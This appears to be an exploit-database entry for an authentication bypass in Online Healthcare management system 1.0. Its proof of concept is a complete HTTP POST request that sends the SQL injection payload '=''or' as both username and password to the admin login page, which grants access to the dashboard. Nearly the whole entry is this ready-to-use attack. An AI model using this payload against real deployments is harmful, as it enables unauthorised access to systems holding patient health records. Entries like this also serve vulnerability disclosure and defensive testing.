Exploit for Online Healthcare Management System 1.0 SQL Injection

## https://sploitus.com/exploit?id=PACKETSTORM:157738
# Exploit Title: Online Healthcare management system 1.0 - Authentication Bypass  
# Google Dork: N/A  
# Date: 2020-05-16  
# Exploit Author: BKpatron  
# Vendor Homepage: https://www.sourcecodester.com/php/14217/online-healthcare-patient-record-management-system-using-phpmysql.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/donbermoy/onlinehealthcare.zip  
# Version: v1.0  
# Tested on: Win 10  
# CVE: N/A  
# my website: bkpatron.com  
  
# Vulnerability: Attacker can bypass login page and access to dashboard page  
# vulnerable file : admin/index.php || admin/login.php  
# Parameter & Payload: '=''or'  
# Proof of Concept:  
http://localhost/onlinehealthcare/admin/login.php  
  
POST /onlinehealthcare/admin/login.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------293261110021842  
Content-Length: 356  
Referer: http://localhost/onlinehealthcare/admin/index.php  
Cookie: _ga=GA1.1.1353584531.1478253768  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
-----------------------------293261110021842: undefined  
Content-Disposition: form-data; name="username"  
'=''or'  
-----------------------------293261110021842  
Content-Disposition: form-data; name="password"  
  
'=''or'  
-----------------------------293261110021842  
Content-Disposition: form-data; name="login"  
  
  
-----------------------------293261110021842--